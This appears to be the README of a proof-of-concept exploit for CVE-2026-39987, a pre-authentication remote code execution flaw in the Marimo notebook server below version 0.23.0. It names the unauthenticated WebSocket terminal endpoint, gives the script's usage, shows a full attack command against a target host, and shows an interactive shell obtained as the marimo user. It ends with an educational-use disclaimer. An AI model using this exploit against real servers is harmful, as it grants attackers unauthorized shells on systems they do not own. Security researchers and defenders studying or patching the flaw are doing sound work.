Python proof-of-concept exploiting an unauthenticated WebSocket terminal endpoint in Marimo (< 0.23.0) to achieve pre-auth remote code execution and an interactive shell.
xpl0ited by infrar3d
This is a Pre-Authentication Remote Code Execution (RCE) proof-of-concept targeting Marimo (< 0.23.0), an open-source reactive Python notebook server. The script exploits an unauthenticated WebSocket terminal endpoint to bypass access controls and obtain an interactive shell on the target server without requiring any credentials.
python3 CVE-2026-39987.py --help
usage: CVE-2026-39987.py [-h] -t TARGET [-H VHOST] [-p PATH] [-P PORT] [-s {ws,wss}]
CVE-2026-39987 - Marimo Pre-Auth RCE PoC
options:
-h, --help show this help message and exit
-t, --target TARGET Target host (required)
-H, --vhost VHOST Virtual host (default: marimo.endpoint.exmpl)
-p, --path PATH WebSocket path (default: /terminal/ws)
-P, --port PORT Port (default: 443)
-s, --scheme {ws,wss}
Scheme (default: wss)
python3 CVE-2026-39987.py -t 10.10.10.200 -H marimo.endpoint.exmpl -p /terminal/ws -P 443 -s wss
[*] Connecting to wss://10.10.10.200/terminal/ws (Host: marimo.endpoint.exmpl)
[+] Shell opened. Enter a command (e.g. id) or 'exit':
marimo@serv:~$ id
id
uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
marimo@serv:~$
This software and proof-of-concept code is provided for educational and research purposes only.
You are responsible for obeying all applicable laws. Use ethically and responsibly.